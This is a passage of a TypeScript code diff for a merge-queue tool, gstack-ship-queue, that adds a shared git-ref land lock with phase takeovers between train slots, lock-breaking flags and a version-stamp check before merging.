try { lock = body.ok ? JSON.parse(body.out) : null; } catch { lock = null; }
return { sha, lock: lock && 'pr' in lock && /^\d+$/.test(String(lock.pr)) ? lock : null };
}
function writeLock(root: string, expected: string, value: LandLock | { released: true; by: string; at: string }): { ok: boolean; sha: string } {
const blob = git(root, ['hash-object', '-w', '--stdin'], undefined, JSON.stringify(value, null, 2) + '\n').out;
const tree = git(root, ['mktree'], undefined, `100644 blob ${blob}\tlock.json\n`).out;
const commit = git(root, ['commit-tree', tree, ...(expected ? ['-p', expected] : []), '-m', 'released' in value ? `land lock released by ${value.by}` : `land lock #${value.pr} ${value.phase}`]).out;
if (![blob, tree, commit].every(isSha)) return { ok: false, sha: '' };
const push = git(root, ['push', '-q', `--force-with-lease=${LAND_LOCK_REF}:${expected}`, 'origin', `${commit}:${LAND_LOCK_REF}`]);
if (push.ok) git(root, ['update-ref', LAND_LOCK_REF, commit]);
return { ok: push.ok, sha: commit };
}
/**
* Release-version conflicts only: the version file and release outputs take the base's side, the
* CHANGELOG merges by section (mergeChangelogs), and a manifest or npm lockfile is re-merged with
@@ -328,7 +306,7 @@ function repair(ctx: QueueContext, policy: ShipPolicy, j: LandJournal | null, fi
if (!n) return fail(lines, { code: 'QUEUE_NOT_READY', message: `gh pr create failed: ${(pr.err ?? pr.out).trim().slice(0, 160)}` }, run);
j.repair_pr = n; writeJsonAtomic(file, j);
const held = readLock(root);
if (held.lock?.pr === j.pr && held.lock.phase === 'drift') writeLock(root, held.sha, { ...held.lock, repair_pr: n });
if (held.state === 'held' && !held.lock.train && held.lock.pr === j.pr && held.lock.phase === 'drift') writeLock(root, held.sha, { ...held.lock, repair_pr: n });
return { ok: true, run, lines: [...lines, `REPAIR_PR: #${n} ${branch} ${pushed}`, `NEXT: run /ship on #${n}, then gstack-ship-queue land --pr ${n} (it takes over #${j.pr}'s drift lock and releases it)`] };
} finally {
git(root, ['worktree', 'remove', '--force', wt]);
@@ -379,28 +357,31 @@ export function land(ctx: QueueContext, o: LandOptions): StepOutput {
return { ok: true, run, lines: [...lines, ...s.lines, `STAMP_VERSION: ${s.version}`, `STAMP_TREE: ${s.tree}`, 'DRY-RUN: nothing locked, pushed or merged'] };
}
let { sha: lockSha, lock } = readLock(root);
const drifted = lock && lock.pr !== o.pr && lock.phase === 'drift' ? lock.pr : null;
const repairOf = drifted ? readJson<LandJournal>(path.join(root, landJournalRel(drifted))) : null;
const driftOf = drifted && (lock!.repair_pr === o.pr || repairOf?.repair_pr === o.pr) ? drifted : lock?.pr === o.pr ? lock.drift_of : undefined;
if (drifted && driftOf) lines.push(`LOCK: taking over #${drifted}'s drift lock for its repair`);
else if (lock && lock.pr !== o.pr) {
const age = now().getTime() - Date.parse(lock.phase_at ?? lock.started_at);
if (!o.breakLock) return fail(lines, { code: 'QUEUE_LAND_LOCKED', message: `#${lock.pr} holds the land lock (${lock.holder}, phase ${lock.phase}, since ${lock.started_at})` }, run);
if (lock.phase === 'drift' || lock.drift_of) return fail(lines, { code: 'QUEUE_LAND_DRIFT', message: `#${lock.drift_of ?? lock.pr} holds a drift lock; --break-lock never breaks it, only its repair PR's land takes it over`, fix: `gstack-ship-queue land --pr ${lock.drift_of ?? lock.pr} --repair` }, run);
if ((lock.phase === 'pushing' || lock.phase === 'merging') && age < PUSH_STALE_MS) return fail(lines, { code: 'QUEUE_LAND_LOCKED', message: `#${lock.pr}'s holder is mid-${lock.phase === 'pushing' ? 'push' : 'merge'} (${Math.round(age / 1000)} s ago); --break-lock refused` }, run);
lines.push(`LOCK: broke #${lock.pr}'s lock (${lock.holder}, phase ${lock.phase})`);
}
const setLock = (phase: LandLock['phase']): QueueFailure | null => {
const next: LandLock = { pr: o.pr, holder, started_at: lock?.pr === o.pr ? lock.started_at : now().toISOString(), phase, journal: run, phase_at: now().toISOString(), ...(driftOf ? { drift_of: driftOf } : {}) };
const w = writeLock(root, lockSha, next);
if (!w.ok) return { code: 'QUEUE_LAND_LOCKED', message: 'the land lock moved under this run (another lander took it)' };
lockSha = w.sha; lock = next;
return null;
};
let driftOf: string | undefined;
const got = acquireLandLock({
root, holder, owner: { pr: o.pr }, journal: run, now, breakLock: o.breakLock, breakTrainLock: o.breakTrainLock,
takeover: held => {
if (held.phase === 'freeze') {
const cleared = freezeLockCleared(root, ctx.remote ?? 'origin', keys, held);
return cleared ? `LOCK: taking over ${lockLabel(held)}'s freeze lock; that freeze was cleared at ${cleared}` : null;
}
if (held.train || held.phase !== 'drift' || (held.repair_pr !== o.pr && readJson<LandJournal>(path.join(root, landJournalRel(held.pr)))?.repair_pr !== o.pr)) return null;
driftOf = held.pr;
return `LOCK: taking over #${held.pr}'s drift lock for its repair`;
},
liveTrain: nonce => {
if (!loadTrain(nonce)) rebuildFromNotes(root, ctx.remote ?? 'origin');
const t = loadTrain(nonce);
return !t || !TERMINAL_STATES.includes(t.state);
},
extra: own => { driftOf ??= own?.drift_of; return driftOf ? { drift_of: driftOf } : {}; },
phase: () => (j?.phase === 'pushed' ? 'waiting' : j?.phase === 'merged' ? 'merging' : 'stamping'),
});
lines.push(...got.lines);
if ('failure' in got) return fail(lines, got.failure, run);
const lock = got.held;
const setLock = (phase: LandLockPhase) => lock.set(phase);
const save = () => writeJsonAtomic(file, j);
const failed = setLock(j?.phase === 'pushed' ? 'waiting' : j?.phase === 'merged' ? 'merging' : 'stamping');
if (failed) return fail(lines, failed, run);
if (!j) { j = { schema_version: 1, pr: o.pr, branch: info.headRefName, reviewed_pin: pin, last_pushed_head: recovered ? info.headRefOid : null, stamp_commit: null, stamp_tree: null, base_sha: null, version: null, date: null, restamps: 0, phase: 'locked' }; save(); }
for (;;) {
@@ -409,7 +390,7 @@ export function land(ctx: QueueContext, o: LandOptions): StepOutput {
if (j.phase === 'pushed' && j.base_sha !== baseNow) {
if (j.restamps >= MAX_RESTAMPS) {
j.restamps = 0; save();
if (!driftOf) writeLock(root, lockSha, { released: true, by: holder, at: now().toISOString() });
if (!driftOf) lock.release();
return fail(lines, { code: 'QUEUE_LAND_BASE_BUSY', message: `origin/${ctx.base} moved during CI ${MAX_RESTAMPS + 1} times; the lock is released and a later run restamps from the pin` }, run);
}
lines.push(`BASE_MOVED: ${j.base_sha?.slice(0, 12)} -> ${baseNow.slice(0, 12)}; restamping`);
@@ -419,7 +400,7 @@ export function land(ctx: QueueContext, o: LandOptions): StepOutput {
const s = buildStamp(ctx, policy, { pin, baseSha: baseNow, pr: o.pr, title: info.title, allowRepoCommands: !!o.allowRepoCommands, now: j.date ? new Date(`${j.date}T12:00:00Z`) : now() });
if ('code' in s) {
if (driftOf) setLock('stamping');
else writeLock(root, lockSha, { released: true, by: holder, at: now().toISOString() });
else lock.release();
return fail([...lines], s, run);
}
lines.push(...s.lines);
@@ -471,8 +452,8 @@ export function land(ctx: QueueContext, o: LandOptions): StepOutput {
j.phase = 'landed'; save();
const driftJournal = driftOf ? readJson<LandJournal>(path.join(root, landJournalRel(driftOf))) : null;
if (driftOf && driftJournal) writeJsonAtomic(path.join(root, landJournalRel(driftOf)), { ...driftJournal, phase: 'landed' });
const rel = writeLock(root, lockSha, { released: true, by: holder, at: now().toISOString() });
return { ok: true, run, lines: [...lines, `MERGED: #${o.pr} as ${main} (${j.version})`, `LANDED: origin/${ctx.base} tree ${tree} equals the stamped tree`, `LOCK: ${rel.ok ? 'released' : 'release push failed (the next land takes it over)'}`] };
const released = lock.release();
return { ok: true, run, lines: [...lines, `MERGED: #${o.pr} as ${main} (${j.version})`, `LANDED: origin/${ctx.base} tree ${tree} equals the stamped tree`, `LOCK: ${released ? 'released' : 'release push failed (the next land takes it over)'}`] };
}
if (j.phase === 'drift') return fail(lines, { code: 'QUEUE_LAND_DRIFT', message: 'a previous land of this PR found drift', fix: `gstack-ship-queue land --pr ${o.pr} --repair` }, run);
}
+3 -3
View File
@@ -36,7 +36,7 @@ export const TRAIN_HELP = ` train build --prs <n>@<sha>[,...] [--order <n>,...]
train status [--train <nonce>] never spends: rebuild records from refs/notes/gstack-trains, reconcile
unconfirmed dispatches by nonce
train verdict --train <nonce> read the gate run and its record: GREEN, RED, INCOMPLETE or PENDING
train land --train <nonce> --pr <n> [--no-wait] [--timeout <min>]
train land --train <nonce> --pr <n> [--no-wait] [--timeout <min>] [--break-lock [--break-train-lock]]
publish slot n's prefix (stamped S_i, else gated T_i): update mode commits its tree on
[pin, main], pushes under the pin's lease, waits for checks and merges; direct mode
(trains with gates, no strict protection, a green pin) runs gh pr merge
@@ -156,7 +156,7 @@ export async function trainMain(ctx: QueueContext, args: string[]): Promise<numb
if (!pr || !/^\d+$/.test(pr)) return usage('train land needs --pr <number>');
const timeout = positive(flag(rest, '--timeout'), 60);
if (Number.isNaN(timeout)) return usage('--timeout needs minutes');
return guarded('train land', async () => (await import('./ship-queue-train-land')).trainLand(ctx, { train: nonce, pr, noWait: rest.includes('--no-wait'), timeoutMin: timeout }));
return guarded('train land', async () => (await import('./ship-queue-train-land')).trainLand(ctx, { train: nonce, pr, noWait: rest.includes('--no-wait'), timeoutMin: timeout, breakLock: rest.includes('--break-lock'), breakTrainLock: rest.includes('--break-train-lock') }));
}
if (sub === 'rebuild') return guarded('train rebuild', () => trainRebuild(ctx, { train: nonce, infra: rest.includes('--infra') }));
if (sub === 'bisect') {
@@ -174,7 +174,7 @@ export async function readyMain(ctx: QueueContext, args: string[], base: { pr: s
if (args.includes('--broad') && !screen) return usage('--broad selects the screen policy; it needs --screen');
const dispatchCi = flag(args, '--dispatch-ci');
const workflows = dispatchCi === undefined ? [] : dispatchCi.split(',').map(s => s.trim()).filter(Boolean);
if (dispatchCi !== undefined && (!workflows.length || workflows.some(w => !/^[\w.-]+\.ya?ml$/.test(w)))) return usage('--dispatch-ci names workflow files under .github/workflows, comma-separated (free-tests.yml,windows-free-tests.yml)');
if (dispatchCi !== undefined && (!workflows.length || workflows.some(w => !/^[\w.-]+\.ya?ml$/.test(w)))) return usage('--dispatch-ci names workflow files under .github/workflows, comma-separated (free-tests.yml,windows-smoke.yml)');
const timeoutSec = positive(flag(args, '--timeout'), 2700);
if (!Number.isFinite(timeoutSec)) return usage('--timeout needs a positive number of seconds');
const fixer = flag(args, '--fixer');
+2 -2
View File
@@ -11,7 +11,7 @@
* a second red is real; both attempts' jobs are kept.
* - `command`: a clean detached checkout of the prefix head runs on a Ubicloud VM through
* scripts/ubicloud/ubi-runner.sh, forwarding only `pass_env`; the VM's `git write-tree` must equal the prefix
* tree and exit 0 is GREEN. One spend cap covers every run of the train.
* tree and exit 0 is GREEN. One spend cap per command gate covers that gate's runs across every prefix of the train.
*
* The verdict is per prefix; the train is GREEN when every prefix is, and otherwise the first red prefix after a
* green one names the culprit (classifyPrefixes). Slot 1's READY may declare FIXES_BASE_RED: T0 is then allowed
@@ -366,7 +366,7 @@ async function settleCommand(env: TrainEnv, t: TrainRecord, a: AttemptRecord, g:
lines.push(`COMMAND: gate ${a.gate} on T${p.index} ${r.outcome} (${r.detail})`);
}
/** Run every command unit that has no finished attempt, all prefixes in parallel, under the train's one spend cap. */
/** Run every command unit that has no finished attempt, all prefixes in parallel, under one spend cap per command gate across every prefix of the train. */
async function runCommands(env: TrainEnv, t: TrainRecord, units: GateUnit[], lines: string[]): Promise<QueueFailure | null> {
const commands = units.filter(u => u.workflow === 'command');
if (!commands.length) return null;
+76 -5
View File
@@ -17,16 +17,24 @@
* Either way main's tree must be the prefix after the merge; any other main is the freeze path
* (QUEUE_TRAIN_TREE_MISMATCH), as for verify. Fork heads are refused. Journaled beside the train record; a rerun
* resumes: open at the pin, open at the update commit, or merged (confirmed through main's tree).
*
* Train land takes the shared land lock (lib/ship-queue-land-lock.ts, #3599) as `train <nonce> slot <i> (#pr)`
* before its first main read, so no standalone land publishes beside a slot. After a slot merges with landable
* slots left, the lock stays in a train-owned `between` phase that the same train's next slot takes over; a stop
* that freezes the queue leaves it in a `freeze` phase only the admitted repair train takes over. The release is
* decided once, at the trainLand boundary (settleLock).
*/
import * as fs from 'node:fs';
import * as os from 'node:os';
import * as path from 'node:path';
import { ciAtHead, type QueueContext } from './ship-queue';
import { git, writeJsonAtomic } from './ship-queue-gate';
import { git, writeJsonAtomic, type QueueFailure } from './ship-queue-gate';
import { acquireLandLock, lockLabel, type HeldLandLock, type LandLock, type LandLockPhase } from './ship-queue-land-lock';
import { waitChecks } from './ship-queue-land';
import { verifyPostMerge } from './ship-queue-post-merge';
import { bindTrainReceipt } from './ship-queue-train-gate';
import { checkRun, prInfo, type PrInfo } from './ship-queue-train-github';
import { activeFreeze, attemptsOf, nowIso, trainFile, type LandingRecord, type TrainRecord } from './ship-queue-train-record';
import { TERMINAL_STATES, activeFreeze, attemptsOf, freezeLockCleared, nowIso, trainFile, type LandingRecord, type TrainRecord } from './ship-queue-train-record';
import { fetchBase, fetchTrainBranch, findTrain, frozenLines, nextFor, outFailed, outPending, outRefused, save, trainEnv, type TrainEnv, type TrainOut } from './ship-queue-train';
import { confirmMerged, stopped } from './ship-queue-train-verify';
@@ -36,7 +44,10 @@ const STAMP_IDENTITY = { GIT_AUTHOR_NAME: 'gstack-ship-queue', GIT_AUTHOR_EMAIL:
const isSha = (s: string) => /^[0-9a-f]{40,64}$/.test(s);
interface SlotJournal { schema_version: 1; pr: string; pin: string; stamp_commit: string; base: string }
interface Link { index: number; commit: string; tree: string; pin: string }
interface Slot { env: TrainEnv; t: TrainRecord; i: number; pin: string; target: Link & { version?: string }; pred: Link; run: string; rerun: string; lines: string[] }
interface Slot { env: TrainEnv; t: TrainRecord; i: number; pin: string; target: Link & { version?: string }; pred: Link; run: string; rerun: string; lines: string[]; lock: { held: HeldLandLock | null; effect: boolean } }
/** Move this slot's land lock to a phase; a failure means another lander took it, so nothing remote may follow. */
const lockPhase = (s: Slot, phase: LandLockPhase): QueueFailure | null => s.lock.held?.set(phase) ?? null;
/** The checks train land requires on the landing commit: changelog_fragments.required_checks, else train.land.required_checks. */
export const landRequiredChecks = (env: TrainEnv): string[] => env.policy.policy.changelog_fragments?.required_checks ?? env.train.land?.required_checks ?? [];
@@ -131,6 +142,9 @@ async function mergeAt(ctx: QueueContext, s: Slot, head: string, base: string):
const target = prInfo(ctx, pr);
if ('error' in target) return outPending({ code: 'QUEUE_PROOF_MISSING', message: target.error }, s.lines, s.rerun, s.run);
if (target.baseRefName && target.baseRefName !== ctx.base) return retargeted(s, target.baseRefName, ctx.base);
const moved = lockPhase(s, 'merging');
if (moved) return outFailed(moved, s.lines, s.rerun, s.run);
s.lock.effect = true;
const m = ctx.gh(['pr', 'merge', pr, `--${method}`, '--match-head-commit', head]);
if (!m.ok) return outFailed({ code: 'QUEUE_NOT_READY', message: `gh pr merge refused: ${(m.err ?? m.out).trim().slice(0, 200)}` }, s.lines, s.rerun, s.run);
main = mainNow(ctx, s.env);
@@ -189,6 +203,8 @@ async function landUpdate(ctx: QueueContext, s: Slot, info: PrInfo, base: string
writeJsonAtomic(file, j);
recordLanding(s, 'update', commit, base);
const pushed = info.headRefOid !== commit;
const pushing = lockPhase(s, 'pushing');
if (pushing) return outFailed(pushing, s.lines, s.rerun, s.run);
if (pushed) {
const push = git(root, ['push', '-q', `--force-with-lease=refs/heads/${info.headRefName}:${info.headRefOid}`, env.remote, `${commit}:refs/heads/${info.headRefName}`]);
if (!push.ok) {
@@ -198,6 +214,9 @@ async function landUpdate(ctx: QueueContext, s: Slot, info: PrInfo, base: string
if (!remote.ok || now !== commit) return outFailed({ code: 'QUEUE_NOT_READY', message: `the ${what} push failed and ${info.headRefName} still reads ${remote.ok ? info.headRefOid.slice(0, 12) : 'unknown'}: ${push.err.split('\n')[0]}` }, s.lines, s.rerun, s.run);
}
}
s.lock.effect = true;
const waiting = lockPhase(s, 'waiting');
if (waiting) return outFailed(waiting, s.lines, s.rerun, s.run);
s.lines.push(`${pushed ? 'PUSHED' : 'RESUMED'}: ${commit} (tree ${label(s)}, parents [pin, main ${base.slice(0, 12)}]) ${pushed ? 'to' : 'is already the head of'} ${info.headRefName}`);
if (o.noWait && pushed) return outPending({ code: 'QUEUE_NOT_READY', message: `checks run on the ${what} commit ${commit.slice(0, 12)}` }, s.lines, `gstack-pr-wait ${pr} --until green && ${s.rerun}`, s.run);
if (!o.noWait) waitChecks(ctx, commit, o.timeoutMin ?? 60);
@@ -220,7 +239,43 @@ async function landUpdate(ctx: QueueContext, s: Slot, info: PrInfo, base: string
const retargeted = (s: Slot, b: string, base: string) => outRefused({ code: 'QUEUE_NOT_READY', message: `#${s.t.slots[s.i]!.pr} targets ${b}, not ${base}; train land merges only PRs on the base the train built` }, s.lines, `retarget #${s.t.slots[s.i]!.pr} to ${base}, then ${s.rerun}`, s.run);
export async function trainLand(ctx: QueueContext, o: { train: string; pr: string; noWait?: boolean; timeoutMin?: number }): Promise<TrainOut> {
interface TrainLandOptions { train: string; pr: string; noWait?: boolean; timeoutMin?: number; breakLock?: boolean; breakTrainLock?: boolean }
/**
* The takeovers train land allows: its own train's between-slots lock, the freeze lock when the freeze admits this
* train as its repair (or, with the notes ref fetched, a freeze record cleared after the lock was written: absence
* is never proof), and a lock whose train record is terminal.
*/
function trainTakeover(env: TrainEnv, t: TrainRecord, i: number, lock: LandLock): string | null {
if (lock.train === t.nonce && lock.phase === 'between') return `LOCK: train ${t.nonce} slot ${i + 1} takes over its train's between-slots lock (from slot ${lock.slot})`;
if (lock.phase === 'freeze') {
const cleared = freezeLockCleared(env.ctx.repoRoot, env.remote, env.repo.keys, lock);
if (activeFreeze(env.repo.keys)?.repair?.train === t.nonce) return `LOCK: repair train ${t.nonce} takes over the freeze lock of ${lockLabel(lock)}`;
return cleared ? `LOCK: train ${t.nonce} takes over ${lockLabel(lock)}'s freeze lock; that freeze was cleared at ${cleared}` : null;
}
if (!lock.train || lock.train === t.nonce) return null;
const other = findTrain(env, lock.train);
return other && TERMINAL_STATES.includes(other.state) ? `LOCK: train ${t.nonce} takes over ${lockLabel(lock)}'s lock; that train is ${other.state}` : null;
}
/**
* The one release point: a freeze keeps the lock in `freeze`; once a slot merged, a train still merging keeps it
* `between` (a merged slot, a pending wait or a refusal before this slot's push); a failure after a remote effect
* keeps its phase for the resume; anything else releases it.
*/
function settleLock(s: Slot, out: TrainOut): TrainOut {
const held = s.lock.held!;
const midway = s.t.state === 'merging' && s.t.merged.length > 0;
const keep = (phase: LandLockPhase, line: string) => { const failed = held.set(phase); return failed ? `LOCK: ${phase} could not be written (${failed.message})` : line; };
let line: string;
if (activeFreeze(s.env.repo.keys)) line = keep('freeze', 'LOCK: freeze (kept for the repair train the freeze admits; --break-lock never breaks it)');
else if (midway && (out.exit === 0 || !s.lock.effect)) line = keep('between', `LOCK: between (train ${s.t.nonce} keeps the land lock for its next slot)`);
else if (out.exit !== 0 && s.lock.effect) line = `LOCK: kept in phase ${held.lock.phase}; ${s.rerun} resumes it`;
else line = held.release() ? 'LOCK: released' : 'LOCK: release push failed (the next lander takes it over)';
return { ...out, lines: [...out.lines, line] };
}
export async function trainLand(ctx: QueueContext, o: TrainLandOptions): Promise<TrainOut> {
const fetchErr = fetchBase(ctx);
const env = trainEnv(ctx);
if ('code' in env) return outRefused(env, [], 'none', 'none');
@@ -241,8 +296,24 @@ export async function trainLand(ctx: QueueContext, o: { train: string; pr: strin
if (!chain) return outRefused({ code: 'QUEUE_PROOF_MISSING', message: `the record's T0 and ${t.stamped ? 'S' : 'T'}1..${t.stamped ? 'S' : 'T'}${k} (with each slot's pin as second parent) are not the first-parent chain of the gated head ${t.head.slice(0, 12)}` }, [], `${Q} train status --train ${t.nonce}`, run);
const pin = t.slots[i]!.head;
const rerun = `${Q} train land --train ${t.nonce} --pr ${o.pr}`;
const s: Slot = { env, t, i, pin, target: { ...chain[i + 1]!, version: t.stamped?.[i]?.version }, pred: chain[i]!, run, rerun, lines: [] };
const s: Slot = { env, t, i, pin, target: { ...chain[i + 1]!, version: t.stamped?.[i]?.version }, pred: chain[i]!, run, rerun, lines: [], lock: { held: null, effect: false } };
s.lines.push(`TRAIN_LAND: ${t.nonce} slot ${i + 1}/${k} #${o.pr} pin ${pin} -> ${label(s)}${s.target.version ? ` v${s.target.version}` : ''} tree ${s.target.tree}`);
const got = acquireLandLock({
root: ctx.repoRoot, remote: env.remote, holder: `${os.hostname()}:${process.pid}`, owner: { train: t.nonce, slot: i + 1, pr: o.pr }, journal: `train/${t.nonce}/slot-${i + 1}`,
now: () => new Date(), breakLock: o.breakLock, breakTrainLock: o.breakTrainLock,
phase: own => (own && ['pushing', 'waiting', 'merging'].includes(own.phase) ? own.phase : 'stamping'),
takeover: lock => trainTakeover(env, t, i, lock),
liveTrain: nonce => { const other = findTrain(env, nonce); return !other || !TERMINAL_STATES.includes(other.state); },
});
s.lines.push(...got.lines);
if ('failure' in got) return outRefused(got.failure, s.lines, `wait for the holder named above, then ${rerun}`, run);
s.lock = { held: got.held, effect: !!got.held.resumed && ['pushing', 'waiting', 'merging'].includes(got.held.resumed.phase) };
return settleLock(s, await landSlot(ctx, s, chain, o));
}
/** Train land under the lock: main read, confirmation, post-merge checks of the previous slot, then direct or update. */
async function landSlot(ctx: QueueContext, s: Slot, chain: Link[], o: TrainLandOptions): Promise<TrainOut> {
const { env, t, i, pin, run, rerun } = s;
const main = mainNow(ctx, env);
if ('error' in main) return outRefused({ code: 'QUEUE_PROOF_MISSING', message: main.error }, s.lines, rerun, run);
if (main.tree === s.target.tree) return confirmed(s, main.sha, `main: ${main.sha} is ${label(s)} exactly`);
+12 -3
View File
@@ -187,6 +187,15 @@ const firstOf = <T>(k: RepoKeys, read: (key: string) => T | null): T | null => {
export const loadFreeze = (repoKeys: RepoKeys) => firstOf(repoKeys, key => readJson<FreezeRecord>(freezePath(key), 'freeze'));
export const loadReady = (repoKeys: RepoKeys, pr: string, head: string) => firstOf(repoKeys, key => readJson<ReadyReceipt>(readyPath(key, pr, head), 'ready'));
export const activeFreeze = (repoKeys: RepoKeys): FreezeRecord | null => firstOf(repoKeys, key => { const f = readJson<FreezeRecord>(freezePath(key), 'freeze'); return f && !f.cleared_at ? f : null; });
/**
* When a freeze-phase land lock's freeze is over, the cleared_at that proves it: the notes ref fetched, no freeze
* active, and the last freeze cleared at or after the lock was written. Absence of a record is never proof.
*/
export function freezeLockCleared(repoRoot: string, remote: string, repoKeys: RepoKeys, lock: { phase_at?: string; started_at: string }): string | null {
if (!rebuildFromNotes(repoRoot, remote).fetched || activeFreeze(repoKeys)) return null;
const last = loadFreeze(repoKeys);
return last?.cleared_at && Date.parse(last.cleared_at) >= Date.parse(lock.phase_at ?? lock.started_at) ? last.cleared_at : null;
}
export const loadWave = (nonce: string) => (/^[A-Za-z0-9._-]{1,128}$/.test(nonce) ? readJson<WaveRecord>(wavePath(nonce), 'wave') : null);
/** Every wave of this repository, newest first. */
@@ -325,13 +334,13 @@ export function forgetNotes(repoRoot: string, names: string[], remote = 'origin'
}
/** Rebuild local records from the notes ref: a note whose record is missing locally, or newer than the local copy, is written. */
export function rebuildFromNotes(repoRoot: string, remote = 'origin'): { restored: number; read: number; detail: string } {
export function rebuildFromNotes(repoRoot: string, remote = 'origin'): { restored: number; read: number; detail: string; fetched: boolean } {
const f = fetchNotes(repoRoot, remote);
const list = git(repoRoot, ['notes', `--ref=${NOTES_REF}`, 'list']);
if (!list.ok || !list.out.trim()) return { restored: 0, read: 0, detail: f.detail };
if (!list.ok || !list.out.trim()) return { restored: 0, read: 0, detail: f.detail, fetched: f.ok };
const records = list.out.split('\n').map(l => l.split(' ')[0]!).filter(Boolean)
.map(blob => parseNote(git(repoRoot, ['cat-file', 'blob', blob]).out)).filter((r): r is AnyRecord => !!r);
const fresh = records.filter(newerOrMissing);
for (const r of fresh) writeJsonAtomic(recordPath(r), r);
return { restored: fresh.length, read: records.length, detail: f.detail };
return { restored: fresh.length, read: records.length, detail: f.detail, fetched: f.ok };
}
+47 -4
View File
@@ -6,8 +6,9 @@
* head, or at a head whose tree is the slot's prefix after it modulo stamps
* (from slot 2 on, the lane merges main into its pin so GitHub can merge it),
* with main's tree equal to the prefix before the PR (pre-merge:
* MERGE_CONDITION) or after it (post-merge confirmation), modulo stamps
* (lib/tree-receipt.ts). When a train stops partway (a mismatch or a moved
* MERGE_CONDITION, once the head carries its own stamp above main's version,
* #3531) or after it (post-merge confirmation, once GitHub reports the PR
* MERGED), modulo stamps (lib/tree-receipt.ts). When a train stops partway (a mismatch or a moved
* head after earlier slots merged) the queue freezes: the freeze is written
* locally and to the notes ref first, then the backstop gate is dispatched on
* main's published prefix at once. One repair train is admitted under the
@@ -25,6 +26,9 @@ import {
} from './ship-queue-train';
import { mergeChangelogs, ownEntryAboveMain, parseChangelog } from './changelog-check';
import { buildReceipt } from './tree-receipt';
import { versionAtRef } from './restamp';
import { cmpVersion, parseVersion } from './version-source';
import { readLock, writeLock } from './ship-queue-land-lock';
import { genericBackstop } from './ship-queue-train-gate';
const Q = 'gstack-ship-queue';
@@ -110,6 +114,31 @@ function published(env: TrainEnv, t: TrainRecord, i: number, main: string): { sa
return { same: true, detail: `same modulo stamps (${r.files.filter(f => f.verdict === 'stamp').length} stamp file(s)) except ${cl}, main ${parent.slice(0, 12)}'s ${cl} plus #${t.slots[i]!.pr}'s own entry` };
}
/**
* The slot stamp a hand-stamped head must carry before it may merge (#3531, train 33 shipped #3527 under #3526's
* version): its VERSION above main's and, with a CHANGELOG, its top section headed with that version directly above
* main's top release, with no [Unreleased] section when main has none. The failing rule is named.
*/
function stampProof(env: TrainEnv, head: string, main: string): { version: string } | { rule: string; detail: string } {
const root = env.ctx.repoRoot;
const hv = versionAtRef(root, head);
const mv = versionAtRef(root, main);
if ('error' in hv) return { rule: 'version', detail: `the head's version cannot be read (${hv.error})` };
if ('error' in mv) return { rule: 'version', detail: `main's version cannot be read (${mv.error})` };
const [h, m] = [parseVersion(hv.version), parseVersion(mv.version)];
if (!h || !m || cmpVersion(h, m) <= 0) return { rule: 'version', detail: `the head's ${hv.rel} ${hv.version} is not above main's ${mv.version}` };
const cl = env.policy.policy.changelog;
if (!cl) return { version: hv.version };
const sections = (rev: string) => parseChangelog(git(root, ['show', `${rev}:${cl}`]).out).sections;
const [ours, theirs] = [sections(head), sections(main)];
const mainTop = theirs.find(s => !s.unreleased)?.version ?? null;
if (ours[0]?.version !== hv.version) return { rule: 'changelog', detail: `${cl}'s top section at the head is [${ours[0] ? ours[0].version ?? 'Unreleased' : 'none'}], not [${hv.version}]` };
const below = ours.slice(1).find(s => !s.unreleased)?.version ?? null;
if (below !== mainTop) return { rule: 'changelog', detail: `${cl}'s release below [${hv.version}] at the head is [${below ?? 'none'}], not main's top release [${mainTop ?? 'none'}]` };
if (!theirs.some(s => s.unreleased) && ours.some(s => s.unreleased)) return { rule: 'changelog', detail: `${cl} at the head keeps an [Unreleased] section that main does not have` };
return { version: hv.version };
}
/**
* Freeze the queue: the record goes to local state and the notes ref before
* anything remote, then the backstop gate is dispatched on main's sha.
@@ -225,8 +254,13 @@ export async function verifyTrain(ctx: QueueContext, o: { pr: string; train: str
const before = t.prefixes[i]!;
const post = published(env, t, i, main);
const lines = [`TRAIN: ${t.nonce} slot ${i + 1}/${t.slots.length} #${o.pr} pinned ${t.slots[i]!.head}`];
if (post.same) return confirmMerged(env, t, o.pr, main, after.index, [...lines, `main: ${main} = T${after.index} (${post.detail})`]);
const pre = sameModuloStamps(env, before.commit, main);
if (post.same) {
const state = prState(ctx, o.pr);
if (state === 'MERGED') return confirmMerged(env, t, o.pr, main, after.index, [...lines, `main: ${main} = T${after.index} (${post.detail})`]);
if (state !== 'OPEN' || !pre.same) return outRefused({ code: 'QUEUE_PROOF_MISSING', message: `main ${main.slice(0, 12)} is T${after.index} modulo stamps (${post.detail}), but GitHub reports #${o.pr} as ${state}, not MERGED; nothing is confirmed and the queue is not frozen` }, lines, `gh pr view ${o.pr} --json state,mergeCommit; rerun once GitHub reports #${o.pr} MERGED: ${Q} verify --pr ${o.pr} --train ${t.nonce}`, run);
lines.push(`main: also T${after.index} modulo stamps, but #${o.pr} is OPEN, so this is the pre-merge check (a stamp-only PR)`);
}
if (!pre.same) {
return stopped(env, t, 'QUEUE_TRAIN_TREE_MISMATCH', `main ${main.slice(0, 12)} is neither T${before.index} nor T${after.index} modulo stamps (vs T${after.index}: ${post.detail})`, main, lines, !o.noFetch);
}
@@ -239,7 +273,10 @@ export async function verifyTrain(ctx: QueueContext, o: { pr: string; train: str
if ('error' in info) return outRefused({ code: 'QUEUE_PROOF_MISSING', message: info.error }, lines, `${Q} verify --pr ${o.pr} --train ${t.nonce}`, run);
const shipped = bindReceipt(info.body, o.pr, [t.slots[i]!.head, head]);
if (!shipped.ok) return outRefused({ code: shipped.code, message: shipped.message }, [...lines, shipped.line], `#${o.pr}'s lane runs /ship and READYs again; then ${Q} train build --prs <pins>`, run);
return outOk([...lines, `main: ${main} = T${before.index} (${pre.detail})`, `head: ${head} (${stampOnly.detail})`, `${shipped.line} (binds ${shipped.head === t.slots[i]!.head ? 'the pinned head' : 'the current head'})`,
if (!headRef) return outRefused({ code: 'QUEUE_PROOF_MISSING', message: `#${o.pr}'s current head was not read (${o.noFetch ? '--no-fetch' : 'the head fetch failed'}), and the pin it falls back to is unstamped by design, so the stamp cannot be proved` }, lines, `${Q} verify --pr ${o.pr} --train ${t.nonce}`, run);
const stamp = stampProof(env, head, main);
if ('rule' in stamp) return outRefused({ code: 'QUEUE_TRAIN_UNSTAMPED', message: `#${o.pr}'s head ${head.slice(0, 12)} is not stamped above main: ${stamp.rule}: ${stamp.detail}` }, lines, `#${o.pr}'s lane runs gstack-restamp --next on its head, commits what restamp staged, pushes, then ${Q} verify --pr ${o.pr} --train ${t.nonce}`, run);
